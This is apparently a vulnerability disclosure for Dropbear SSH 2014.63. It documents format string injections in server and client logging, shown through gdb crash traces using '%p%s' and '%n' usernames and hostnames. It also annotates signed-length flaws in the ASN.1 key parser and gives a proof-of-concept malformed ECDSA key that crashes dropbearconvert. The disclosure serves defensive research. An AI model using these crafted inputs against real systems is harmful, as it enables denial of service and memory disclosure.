# gdb –args ./dropbear -F -E -B -a -p 99 -v -r /etc/dropbear/dropbear_rsa_host_key
(gdb) set follow-fork-mode child (gdb) run ... [16908] Mar 01 22:13:44 Bad password attempt for 'a%p%sb' from ::1:34270 TRACE (16908) 1425244424.781495: enter send_msg_userauth_failure TRACE (16908) 1425244424.781760: auth fail: methods 6, 'publickey,password' TRACE (16908) 1425244424.782043: pos: 0 incr: 32 size: 32 TRACE (16908) 1425244425.63727: Max auth tries reached, exiting Program received signal SIGSEGV, Segmentation fault. [Switching to process 16908] 0xb7e552f4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7e552f4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0xb7e76dd0 in vsnprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #2 0x08058f39 in svr_dropbear_log (priority=6, format=0xbfffee44 "Exit before auth (user 'a%p%sb', 10 fails): Max auth tries reached - user '%s' from %s", /** !! BOOM - %p%s in the format string*/ param=0xbfffefa4 "\020\250\f\bP\207\a\b\001") at svr-session.c:194 #3 0x08058f0a in svr_dropbear_exit (exitcode=1, format=0x806b54a "Max auth tries reached - user '%s' from %s", param=0xbfffefa4 "\020\250\f\bP\207\a\b\001") at svr-session.c:170 #4 0x0804a177 in dropbear_exit (format=0x806b54a "Max auth tries reached - user '%s' from %s") at dbutil.c:110 #5 0x080578f7 in send_msg_userauth_failure (partial=0, incrfail=1) at svr-auth.c:375 #6 0x0805823e in svr_auth_password () at svr-authpasswd.c:108 #7 0x08057ceb in recv_msg_userauth_request () at svr-auth.c:180 #8 0x080548e2 in process_packet () at process-packet.c:146 #9 0x0804f982 in session_loop (loophandler=0x8058d23 <svr_sessionloop>) at common-session.c:210 #10 0x08058e6d in svr_session (sock=9, childpipe=11) at svr-session.c:139 #11 0x0805b67a in main_noinetd () at svr-main.c:317 #12 0x08049fd6 in main (argc=10, argv=0xbffff744) at svr-main.c:70 (gdb) bt full #0 0xb7e552f4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 No symbol table info available. #1 0xb7e76dd0 in vsnprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 No symbol table info available. #2 0x08058f39 in svr_dropbear_log (priority=6, format=0xbfffee44 "Exit before auth (user 'a%p%sb', 10 fails): Max auth tries reached - user '%s' from %s", param=0xbfffefa4 "\020\250\f\bP\207\a\b\001") at svr-session.c:194 printbuf = "Exit before auth (user 'a0x80ca810::1:34270b', 10 fails): Max auth tries reached - user '\000\000\000\000\000\000\000\037\353\377\277\371\235\352\267\000\000\000\000H\357\377\277\213\177\006\b\"\000\000\000\000\000\000\000X\357\377\277\213\177\006\b!\000\000\000\000\000\000\000\224\357\377\277\f\265\006\b*\000\000\000h\214\a\b\244\357\377\277*\265\006\b\037", '\000' <repeats 11 times>, "\024\000\000\000\002\000\000\000\377\377\377\377\002\000\000\000\017\000\000\000\233\353\377\277\001\000\000\000 \353\377\277\060B\352\267\351\204\a\b\326\037\352\267v\002\000\000\355\377\377\377\000\000\000\000\337\a\000\000\337\a\000\000\320\a\000\000\364\377\366\267\240\066\367\267\210\353\064\064\364\377\366\267X\331\a\bL\353\377\277\240\353\377\277X\331"... datestr = "\310\356\377\277\213\177\006\b\"\000\000\000\000\000\000\000\256", <incomplete sequence \352\267> timesec = <optimized out> havetrace = 0 #3 0x08058f0a in svr_dropbear_exit (exitcode=1, format=0x806b54a "Max auth tries reached - user '%s' from %s", param=0xbfffefa4 "\020\250\f\bP\207\a\b\001") at svr-session.c:170 fmtbuf = "Exit before auth (user 'a%p%sb', 10 fails): Max auth tries reached - user '%s' from %s\000\267D\333\347\267\002\000\000\000\307\005\367\267\001\000\000\000\200\005\367\267\377\377\377\377\377\377\377\377\200\005\367\267\307\005\367\267\354\356\377\277\317\327ç·\005\367\267\307\005\367\267\001\000\000\000\324&\365\230\003);\t\f:\227E\364\377\366\267\001\000\000\000\n\000\000\000\374\356\377\277\346\332\347\267\001\000\000\000\200\005\367\267 \357\377\277\b\346ç·\005\367\267\307\005\367\267\001\000\000\000\n\000\000\000\364\377\366\267\200\005\367\267\n\000\000\000\070\357\377\277z\rè·\005\367\267\n\000\000\000\364\377\366\267\200\005\367\267X\357\377\277\225^ç·\005\367\267\n\000\000\000\300\006\341\267*\265\006\b\t\201\363T\357\370\000\000\230\357\377\277\f\242\004\b\n\000\000\000\200\005\367\267\244\357\377\277\016{\025\256" #4 0x0804a177 in dropbear_exit (format=0x806b54a "Max auth tries reached - user '%s' from %s") at dbutil.c:110 param = 0xbfffefa4 "\020\250\f\bP\207\a\b\001" #5 0x080578f7 in send_msg_userauth_failure (partial=0, incrfail=1) at svr-auth.c:375 userstr = </optimized><optimized out> typebuf = </optimized><optimized out> #6 0x0805823e in svr_auth_password () at svr-authpasswd.c:108 passwdcrypt = </optimized><optimized out> testcrypt = </optimized><optimized out> password = </optimized><optimized out> passwordlen = 0 changepw = 0 #7 0x08057ceb in recv_msg_userauth_request () at svr-auth.c:180 username = 0x8078730 "a%p%sb" servicename = 0x8078ba0 "ssh-connection" methodname = 0x8078760 "password" userlen = 6 servicelen = 14 methodlen = 8 valid_user = 1 (gdb) i r eax 0x0 0 ecx 0xffffffff -1 edx 0x1 1 ebx 0xb7f6fff4 -1208549388 esp 0xbfffe31c 0xbfffe31c ebp 0xbfffe8c8 0xbfffe8c8 esi 0xbfffe8fc -1073747716 edi 0x1 1 eip 0xb7e552f4 0xb7e552f4 <vfprintf +18580> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
DropBear Client-side
Triggering the format string injection in `cli_opts.remotehost`
# gdb --args ./dbclient -v lol@%n%n%n%n%n%n%n -J -p 99 (gdb) r Starting program: /root/Desktop/dropbear-2014.63/dbclient -v lol@%n%n%n%n%n%n%n -J -p 99 TRACE (18495) 1425245843.144384: non-flag arg: 'lol@%n%n%n%n%n%n%n' TRACE (18495) 1425245843.144404: non-flag arg: '99' TRACE (18495) 1425245843.144410: user='lol' host='%n%n%n%n%n%n%n' port='22' ... TRACE (18495) 1425245843.147189: err: Socket operation on non-socket for 'õÿ¿Ï÷ê·%ú·Ç%ú·' TRACE (18495) 1425245843.147200: enter session_cleanup TRACE (18495) 1425245843.147204: enter cli_tty_cleanup TRACE (18495) 1425245843.147207: leave cli_tty_cleanup: not in raw mode TRACE (18495) 1425245843.147209: enter chancleanup TRACE (18495) 1425245843.147212: leave chancleanup TRACE (18495) 1425245843.147215: leave session_cleanup Program received signal SIGSEGV, Segmentation fault. 0xb7e877dd in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7e877dd in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0xb7ea8dd0 in vsnprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #2 0x08056e48 in cli_dropbear_log (UNUSED_priority=6, format=0xbffff224 "Connection to lol@%n%n%n%n%n%n%n:22 exited: Remote closed the connection", param=0xbffff384 "") at cli-main.c:119 /* !! BOOM - %n in format ...*/ #3 0x08056efc in cli_dropbear_exit (exitcode=1, format=0x806a48e "Remote closed the connection", param=0xbffff384 "") at cli-main.c:110 #4 0x08049c67 in dropbear_exit (format=0x806a48e "Remote closed the connection") at dbutil.c:110 #5 0x08057e20 in cli_remoteclosed () at cli-session.c:347 #6 0x0804f4ef in read_session_identification () at common-session.c:306 #7 session_loop (loophandler=0x8057e78 <cli_sessionloop>) at common-session.c:201 #8 0x08058222 in cli_session (sock_in=134577784, sock_out=8) at cli-session.c:107 #9 0x08049ab3 in main (argc=6, argv=0xbffff774) at cli-main.c:84 (gdb)
Triggering the format string injection in `cli_opts.username`
- with `-J` specified
#gdb –args ./dbclient -v %n%n%n%n%n%n%n@lala -J -p 99
(gdb) r Starting program: /root/Desktop/dropbear-2014.63/dbclient -v %n%n%n%n%n%n%n@lala -J -p 99 TRACE (18530) 1425246289.600630: non-flag arg: '%n%n%n%n%n%n%n@lala' TRACE (18530) 1425246289.600650: non-flag arg: '99' ... TRACE (18530) 1425246289.603447: err: Socket operation on non-socket for 'õÿ¿Ï÷ê·%ú·Ç%ú·' TRACE (18530) 1425246289.603458: enter session_cleanup TRACE (18530) 1425246289.603462: enter cli_tty_cleanup TRACE (18530) 1425246289.603464: leave cli_tty_cleanup: not in raw mode TRACE (18530) 1425246289.603467: enter chancleanup TRACE (18530) 1425246289.603469: leave chancleanup TRACE (18530) 1425246289.603472: leave session_cleanup Program received signal SIGSEGV, Segmentation fault. 0xb7e877dd in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7e877dd in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0xb7ea8dd0 in vsnprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #2 0x08056e48 in cli_dropbear_log (UNUSED_priority=6, format=0xbffff224 "Connection to %n%n%n%n%n%n%n@lala:22 exited: Remote closed the connection", param=0xbffff384 "") at cli-main.c:119 #3 0x08056efc in cli_dropbear_exit (exitcode=1, format=0x806a48e "Remote closed the connection", param=0xbffff384 "") at cli-main.c:110 #4 0x08049c67 in dropbear_exit (format=0x806a48e "Remote closed the connection") at dbutil.c:110 #5 0x08057e20 in cli_remoteclosed () at cli-session.c:347 #6 0x0804f4ef in read_session_identification () at common-session.c:306 #7 session_loop (loophandler=0x8057e78 </cli_sessionloop><cli_sessionloop>) at common-session.c:201 #8 0x08058222 in cli_session (sock_in=134577784, sock_out=8) at cli-session.c:107 #9 0x08049ab3 in main (argc=6, argv=0xbffff774) at cli-main.c:84 (gdb)
- With valid servername
# gdb --args ./dbclient -v %n%n%n%n%n%n%n@localhost -p 99 (gdb) r TRACE (18547) 1425246386.574402: enter cli_auth_password %n%n%n%n%n%n%n@localhost's password: TRACE (18547) 1425246390.50148: enter session_cleanup TRACE (18547) 1425246390.50159: enter cli_tty_cleanup TRACE (18547) 1425246390.50167: leave cli_tty_cleanup: not in raw mode TRACE (18547) 1425246390.50171: enter chancleanup TRACE (18547) 1425246390.50176: leave chancleanup TRACE (18547) 1425246390.50182: leave session_cleanup /** !! BOOM - hist ctrl+c at this pointto speed things up ;)*/ Program received signal SIGSEGV, Segmentation fault. 0xb7e877dd in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) where #0 0xb7e877dd in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #1 0xb7ea8dd0 in vsnprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 #2 0x08056e48 in cli_dropbear_log (UNUSED_priority=6, format=0xbffff184 "Connection to %n%n%n%n%n%n%n@localhost:99 exited: Interrupted.", param=0xbffff2e4 "\003") at cli-main.c:119 /** !! BOOM - string injected*/ #3 0x08056efc in cli_dropbear_exit (exitcode=0, format=0x806a087 "Interrupted.", param=0xbffff2e4 "\003") at cli-main.c:110 #4 0x08049c52 in dropbear_close (format=0x806a087 "Interrupted.") at dbutil.c:100 #5 0x0805742d in getpass_or_cancel (prompt=0xbffff320 "%n%n%n%n%n%n%n@localhost's password: ") at cli-auth.c:346 #6 0x08057474 in cli_auth_password () at cli-authpasswd.c:138 #7 0x08057335 in cli_auth_try () at cli-auth.c:296 #8 0x08057fa2 in cli_sessionloop () at cli-session.c:239 #9 cli_sessionloop () at cli-session.c:185 #10 0x0804f4c0 in session_loop (loophandler=0x8057e78 </cli_sessionloop><cli_sessionloop>) at common-session.c:231 #11 0x08058222 in cli_session (sock_in=134577784, sock_out=7) at cli-session.c:107 #12 0x08049ab3 in main (argc=5, argv=0xbffff774) at cli-main.c:84 (gdb)
Heap buffer overwrite and arbitrary memory read vulnerabilities
Heap-based buffer overwrite and multiple arbitrary memory read vulnerabilities in dropbearconvert while parsing ASN.1 openssh type key-files.
Generate a new ECDSA Private Key – generate a new ecdsa privkey on named curve prime256v1 with openssl:
openssl ecparam -out ecdsa_key.pem -name prime256v1 -genkey
Stripping the EC PARAMETERS from ecdsa_key.pem, this is the privkey in base64 encoded PEM format:
-----BEGIN EC PRIVATE KEY----- MHcCAQEEIIdCpMFHz//VZqqASdm3VIIqioYrRmwg1uge8iq72enVoAoGCCqGSM49 AwEHoUQDQgAEqsD1HhNsyW8U5baatrZzsAePTafipX0+q5rRFLBFo9EtV6z71co5 NRtagGsVcnZJP12spC2zFoNKDevvjGwGmw== -----END EC PRIVATE KEY-----
Digging into to private key format (ASN.1):
rfc5915 describes the format as – Elliptic Curve Private Key Format. This section gives the syntax for an EC private key. Computationally, an EC private key is an unsigned integer, but for representation, EC private key information SHALL have ASN.1 type ECPrivateKey:
ECPrivateKey ::= SEQUENCE { version INTEGER { ecPrivkeyVer1(1) } (ecPrivkeyVer1), privateKey OCTET STRING, parameters [0] ECParameters {{ NamedCurve }} OPTIONAL, publicKey [1] BIT STRING OPTIONAL }
The key in 1. decodes to:
$ cat ecdsa_key.pem | openssl asn1parse -inform PEM 0:d=0 hl=2 l= 119 cons: SEQUENCE 2:d=1 hl=2 l= 1 prim: INTEGER :01 5:d=1 hl=2 l= 32 prim: OCTET STRING [HEX DUMP]:8742A4C147CFFFD566AA8049D9B754822A8A862B466C20D6E81EF22ABBD9E9D5 39:d=1 hl=2 l= 10 cons: cont [ 0 ] 41:d=2 hl=2 l= 8 prim: OBJECT :prime256v1 51:d=1 hl=2 l= 68 cons: cont [ 1 ] 53:d=2 hl=2 l= 66 prim: BIT STRING
Excursion – ASN.1 Encoded Fields
ASN.1 Elements are Tag-Length-Value encoded and may follow distinct encoding rules with the most basic being `BER` (Basic-Encoding-Rules). Besides `BER` there are also more restrictive rules like `DER`. The difference is basically that `BER` allows you encode elements in any order and in any length-format whereas `DER` enforces order and denies the use of certain length-formats.
There are also different length-formats. The single-byte format is indicated by a TLV length-byte where the MSB is not set. Therefore any length-byte < 0x80 always indicates that the length of the field is basically `length-byte & 0x7f` (only the first 7 bits). The max. length for a short-form length-byte is 127. A long-form length-byte is indicated by the MSB being set. Bit 1-7 indicate how many of the additional octets form the value of the fields length (MSB first). E.g. `0x84` indicates a long-form length-byte where the next 4 bytes form the fields length. A long-form byte of `0x80` is the indefinite form where `0x00 0x00` terminates the field.
rfc5915 requires the key structer being `DER` encoding.
- length-encoding must be definite. no `0x80` allowed
- length-encoding must be in the shortest form possible
- (elements must be ordered)
This makes it pretty complex to write a reliable/robust ASN.1 parser and creats lots of bugs.
Dropbear ASN.1 TLV parser
Dropbear processes `dropbear key format` and `openssh` style private key and allows to convert them from one format to the other. The following `call-graph` depicts how dropbear processes a given `openssh` style private key file and the `source-code files::methods` involved in doing so.
The function `openssh_read` is called to process the various `openssh` style key formats (basically RSA, ECDSA public/private keys in PEM/DER(ASN.1) format). `ber_read_id_len` is basically a simple ASN.1 `BER` TLV field parser that given a source buffer and the source-buffers length, returns the field-id (TAG), the length of that field (Length), an offset from the start of the buffer to the start of the fields contents (VALUE) as a return value and additionally extracted flags.
static int ber_read_id_len(void *source, int sourcelen, int *id, int *length, int *flags) pseudocode example: int tag=0; /** !! TAG*/ int length=0; /** !! LENGTH*/ int flags=0; /** !! -- we dont care --*/ int offset=0; offset = ber_read_id_len(buffer,buffer_len,&tag,&length,&flags) char* value = buffer+offset /** !! VALUE*/
Note – the function name says `BER_read_id_len` which does not follow rfc5915 (ordered-elements, length-fields)
Vulnerable Code
keyimport.c – ber_read_id_len()
There are two main problems with `ber_read_id_len`.
- All integers are signed
- We control the length-byte that is returned, it is never bounds-checked nor overflow protected.
Therefor we can set `int *length` to arbitrary values ranging from `+/-INT_MAX`. Length is not bounds-checked against `void *source` and `int sourcelen` within `ber_read_id_len`. Any code relying on `ber_read_id_len` returning sane unsigned values without checking them is prone to arbitrary ptr control which may lead to all kinds of memory errors.
static int ber_read_id_len(void *source, int sourcelen, int *id, int *length, int *flags) /** !! BOOM -all integers are signed!*/ { unsigned char *p = (unsigned char *) source; /** !! set p to start of input buffer*/ if (sourcelen == 0) /** !! stop processing if end of buffer - since sourcelen is signed, <= might be better ;)*/ return -1; *flags = (*p & 0xE0); /** !! do not care about flags..*/ if ((*p & 0x1F) == 0x1F) { /*get tag type*/ /** !! TAG - skip - we only care about single-byte tags; checks for single-byte or multi-byte tags*/ *id = 0; while (*p & 0x80) { /** !! TAG (multi) - skip - all but MSB add up to TAG-ID */ *id = (*id << 7) | (*p & 0x7F); p++, sourcelen--; if (sourcelen == 0) return -1; } *id = (*id << 7) | (*p & 0x7F); p++, sourcelen--; } else { /** !! TAG (single) single-byte TAG - first 7 bits => Tag-id*/ *id = *p & 0x1F; p++, sourcelen--; } if (sourcelen == 0) return -1; if (*p & 0x80) { /** !! LENGTH field*/ int n = *p & 0x7F; /** !! LENGTH (long) multi-byte length: n = number of bytes that add up to length*/ p++, sourcelen--; if (sourcelen < n) return -1; *length = 0; while (n--) /** !! LENGTH (long) - eat bytes, add to length*/ *length = (*length << 8) | (*p++); /** !! BOOM - int length overflow*/ sourcelen -= n; } else { *length = *p; /** !! LENGTH (short)*/ p++, sourcelen--; } /** !! BOOM - long-form length byte allows us to create pos/neg length of arbitrary size - no bounds check*/ return p - (unsigned char *) source; /** !! return bytes processed*/ }
Vulnerable Code
keyimport.c – openssh_read()
`openssh_read` calls `ber_read_id_len()` multiple times to extract ASN.1 elements from the key file.
Any code that does not check the returned `int* length` from `ber_read_id_len()` may give an attacker control of the buffer pointer. Remember `oopenssh_read()` processes the ASN.1 structure described earlier.
static sign_key *openssh_read(const char *filename, char * UNUSED(passphrase)) { ... unsigned char *p; int ret, id, len, flags; /** !! BOOM - signed integers - len*/ ... /* * Now we have a decrypted key blob, which contains an ASN.1 * encoded private key. We must now untangle the ASN.1. * * We expect the whole key blob to be formatted as a SEQUENCE * (0x30 followed by a length code indicating that the rest of * the blob is part of the sequence). Within that SEQUENCE we * expect to see a bunch of INTEGERs. What those integers mean * depends on the key type: * * - For RSA, we expect the integers to be 0, n, e, d, p, q, * dmp1, dmq1, iqmp in that order. (The last three are d mod * (p-1), d mod (q-1), inverse of q mod p respectively.) * * - For DSA, we expect them to be 0, p, q, g, y, x in that * order. */ /** !! read the SEQUENCE struct - see 2.*/ p = key->keyblob; /* Expect the SEQUENCE header. Take its absence as a failure to decrypt. */ ret = ber_read_id_len(p, key->keyblob_len, &id, &len, &flags); /** !! we control len - but it is not used anywhere*/ p += ret; if (ret < 0 || id != 16) { errmsg = "ASN.1 decoding failure - wrong password?"; goto error; } ... for (i = 0; i < num_integers; i++) { /** !! read one Integer - see 2.*/ ret = ber_read_id_len(p, key->keyblob+key->keyblob_len-p, /** !! B) we control len*/ &id, &len, &flags); p += ret; if (ret < 0 || id != 2 || key->keyblob+key->keyblob_len-p < len) { /** !! B) remaining buffer len < user controlled len - pretty easy to avoid that if we return len -INT_MAX to rem.buffer.len ;)*/ errmsg = "ASN.1 decoding failure"; goto error; } ... if (i == 0) { if (len != 1 || p[0] != expected) { /** !! B.1) for ECDSA type keys - len must be 1 and value must be 1 errmsg = "Version number mismatch"; goto error; } ... } else if (key->type == OSSH_RSA) { /* * OpenSSH key order is n, e, d, p, q, dmp1, dmq1, iqmp * but we want e, n, d, p, q */ if (i == 1) { /* Save the details for after we deal with number 2. */ modptr = (char *)p; modlen = len; /** !! B.2) for RSA type keys - we set len to user controlled value*/ } else if (i >= 2 && i <= 5) { buf_putstring(blobbuf, p, len); /** !! B.2) read arbitrary length data and store it in buffer - may allow arbitrary memory reads */ if (i == 2) { buf_putstring(blobbuf, modptr, modlen); /** !! B.2) basically the same.. we control len and mod-len - Note putstring expect uint length which allows us to write -UINT-MAX => INT_MAX/2-1 bytes */ } } ... } else if (key->type == OSSH_DSA) { /* * OpenSSH key order is p, q, g, y, x, * we want the same. */ buf_putstring(blobbuf, p, len); /** !! B.3) like B.2 - read arbitrary bytes from p and store it in buffer */ } /* Skip past the number. */ p += len; /** !! C) direct pointer control for free } ... #ifdef DROPBEAR_ECDSA if (key->type == OSSH_EC) { /* privateKey OCTET STRING, */ ret = ber_read_id_len(p, key->keyblob+key->keyblob_len-p, /** !! D) we control len */ &id, &len, &flags); p += ret; /* id==4 for octet string */ if (ret < 0 || id != 4 || key->keyblob+key->keyblob_len-p < len) { /** !! D) easy to pass this check as long as len < remaining-buffer-size (len may also be negative as it is signed) */ errmsg = "ASN.1 decoding failure"; goto error; } private_key_bytes = p; private_key_len = len; /** !! D) we control private_key_len */ p += len; /** !! D) arbitrary pointer control */ /* parameters [0] ECDomainParameters {{ SECGCurveNames }} OPTIONAL, */ ret = ber_read_id_len(p, key->keyblob+key->keyblob_len-p, /** !! D) we control len - but it is not used anywhere*/ &id, &len, &flags); p += ret; /* id==0 */ if (ret < 0 || id != 0) { errmsg = "ASN.1 decoding failure"; goto error; } ret = ber_read_id_len(p, key->keyblob+key->keyblob_len-p, /** !! D) we control len*/ &id, &len, &flags); p += ret; /* id==6 for object */ if (ret < 0 || id != 6 || key->keyblob+key->keyblob_len-p < len) { /** !! D) easy to bypass - see previous comments */ errmsg = "ASN.1 decoding failure"; goto error; } ... p += len; /** !! D) arbitrary pointer control*/ ... ret = ber_read_id_len(p, key->keyblob+key->keyblob_len-p, &id, &len, &flags); /** !! D) we contorl len*/ p += ret; /* id==3 for bit string */ if (ret < 0 || id != 3 || key->keyblob+key->keyblob_len-p < len) { /** !! D) we can bypass this check - see prev. comment*/ errmsg = "ASN.1 decoding failure"; goto error; } public_key_bytes = p+1; public_key_len = len-1; /** !! D) we control public_key_bytes */ p += len; buf_putbytes(blobbuf, public_key_bytes, public_key_len); /** !! D) arbitrary size read, and write to blobbuf (size 3000bytes)*/ ...
The main issue is that we control the length of the parsed ASN.1 element. The length is as signed int, therfore we have full control (forward/backward) of the buffer pointer. For RSA/DSA keys we can read arbitrary memory and write it to the output buffer as long as we do not exceed `blobbuf[3000]` (B.2, B.3). We even have direct control of the buffer pointer at C. For ECDSA keys there are multiple ways to mess with the code. Direct pointer control and reading of user-controlled length of bytes starting from the buffer pointer `buf_putbytes(,,user_controlled_len)`(D).
There is also a possible heap buffer overwrite in `buf_putbyste()` as we control the `len` parameter to `buf_putstring` (`buf_putbytes`):
`openssh_read()`: ... ret = ber_read_id_len(p, key->keyblob+key->keyblob_len-p, /** !! we control len*/ &id, &len, &flags); p += ret; if (ret < 0 || id != 2 || key->keyblob+key->keyblob_len-p < len) { /** !! len must be < remaining_bytes in buffer and can be negative ;)*/ errmsg = "ASN.1 decoding failure"; goto error; } ... } else if (key->type == OSSH_DSA) { /* * OpenSSH key order is p, q, g, y, x, * we want the same. */ buf_putstring(blobbuf, p, len); /** !! we control len with a max unsigned size of -1=> UINT_MAX*/ } ... `buf_putstring`: len is under our control and was converted to uint. /* put a SSH style string into the buffer, increasing buffer len if required */ void buf_putstring(buffer* buf, const unsigned char* str, unsigned int len) { buf_putint(buf, len); /** !! we control len, buf is checked with buf_getwriteptr */ buf_putbytes(buf, str, len); /** !! we control len*/ } `buf_putbytes`: check buffer bounds with `buf_getwriteptr` /* put the set of len bytes into the buffer, incrementing the pos, increasing * len if required */ void buf_putbytes(buffer *buf, const unsigned char *bytes, unsigned int len) { memcpy(buf_getwriteptr(buf, len), bytes, len); /** !! BOOM - buf_getwriteptr(buf,-1) succeeds if buf->pos>0 (see below) and wen then write -1=int_max bytes from bytes to buf .. heap overwrite*/ buf_incrwritepos(buf, len); } `buf_getwriteptr`: does not check for int-wraps /* like buf_getptr, but checks against total size, not used length. * This allows writing past the used length, but not past the size */ unsigned char* buf_getwriteptr(buffer* buf, unsigned int len) { if (buf->pos + len > buf->size) { /** !! buf->pos + UINT_MAX < 3000? - worst case 1+UINT_MAX < 3000 always true for signed len being -1=int_max*/ dropbear_exit("Bad buf_getwriteptr"); } return &buf->data[buf->pos]; } Here's an example program that demonstrates the int wrapping issue (quick test copy paste to: http://cpp.sh/): void test(unsigned int len){ if (3 + len >3000) { std::cout << "BUSTED " << len << "\n"; return; } std::cout << "all fine "<< len << "\n"; return; } int main() { int len=0; len--; test(len); }
Proof of Concept
ECDSA private key with invalid length field for ASN.1 Pubkey
We’re going to change the length of the private-key part of the ASN.1 BER decoded private-key file (see section 1) to be 0xfefefefe and make dropbearconvert crash due to an access violation.
Create the ecdsa key-file
-----BEGIN EC PRIVATE KEY----- MHcCAQEEIIdCpMFHz//VZqqASdm3VIIqioYrRmwg1uge8iq72enVoAoGCCqGSM49 AwEHoUQDQgAEqsD1HhNsyW8U5baatrZzsAePTafipX0+q5rRFLBFo9EtV6z71co5 NRtagGsVcnZJP12spC2zFoNKDevvjGwGmw== -----END EC PRIVATE KEY-----
Parse and print the ASN.1 struct
$ cat ecdsa_key.pem | openssl asn1parse -inform PEM 0:d=0 hl=2 l= 119 cons: SEQUENCE 2:d=1 hl=2 l= 1 prim: INTEGER :01 5:d=1 hl=2 l= 32 prim: OCTET STRING [HEX DUMP]:8742A4C147CFFFD566AA8049D9B754822A8A862B466C20D6E81EF22ABBD9E9D5 39:d=1 hl=2 l= 10 cons: cont [ 0 ] 41:d=2 hl=2 l= 8 prim: OBJECT :prime256v1 51:d=1 hl=2 l= 68 cons: cont [ 1 ] 53:d=2 hl=2 l= 66 prim: BIT STRING
Base64 decode the pem to get the raw ASN.1 structure (remove BEGIN,END tags and base64decode)
Hex-edit modify the length byte manually
search for `04 20 87` `(Tag=0x04, Length(short)=0x20,, ...) (at offset 0x05)`, replace it by `84 FE FE FE FE 87` `(Tag=0x03, Length(long)=4 bytes, lenght=0xfefefefe, ...)` and save the file as `ecdsa_key_bad.der`. Note the length is 0xfefefefe (see debug session below)
Convert der to pem
base64 encode `ecdsa_key_bad.der` and enclose with
`-----BEGIN EC PRIVATE KEY-----` `-----END EC PRIVATE KEY-----`.
Save file as `ecdsa_key_bad.pem`
-----BEGIN EC PRIVATE KEY----- MHcCAQEEhP7+/v6HQqTBR8//1WaqgEnZt1SCKoqGK0ZsINboHvIqu9np1aAKBggqhkjOPQMBB6FE A0IABKrA9R4TbMlvFOW2mra2c7AHj02n4qV9Pqua0RSwRaPRLVes+9XKOTUbWoBrFXJ2ST9drKQt sxaDSg3r74xsBps= -----END EC PRIVATE KEY-----
Make dropbearconvert process the file
make dropbearconvert convert the file from openssh to openssh format
# ./dropbearconvert openssh openssh ecdsa_key_bad.pem tst.key
Segmentation fault
# dmesg | tail -n1
dropbearconvert[4442]: segfault at 82470d9 ip 0804e7ae sp bfb2f6f4 error 4 in dropbearconvert[8048000+1d000]
Attach a debugger and observe the `int* length` argument, which is at `-16843010==0xfefefefe`
# gdb –args ./dropbearconvert openssh openssh ecdsa_key_bad.pem tst.key
(gdb) r Starting program: /root/Desktop/dropbear-2014.63/dropbearconvert openssh openssh ecdsa_key_bad.pem tst.key Program received signal SIGSEGV, Segmentation fault. ber_read_id_len (source=source@entry=0x70560d9, sourcelen=16843124, id=id@entry=0xbffff640, length=0xbffff644, flags=0xbffff648) at keyimport.c:240 240 *flags = (*p & 0xE0); (gdb) where #0 ber_read_id_len (source=source@entry=0x70560d9, sourcelen=16843124, id=id@entry=0xbffff640, length=0xbffff644, flags=0xbffff648) at keyimport.c:240 #1 0x0804f030 in openssh_read (filename=0xbffff8d2 "ecdsa_key_bad.pem", UNUSED_passphrase=<optimized out>) at keyimport.c:698 #2 import_read (filename=0xbffff8d2 "ecdsa_key_bad.pem", passphrase=0x0, filetype=1) at keyimport.c:85 #3 0x0804927b in do_convert (outfile=0xbffff8e4 "tst.key", outtype=1, infile=<optimized out>, intype=<optimized out>) at dropbearconvert.c:122 #4 main (argc=5, argv=0xbffff764) at dropbearconvert.c:107 (gdb) (gdb) p length $1 = (int *) 0xbffff644 (gdb) p *length $2 = -16843010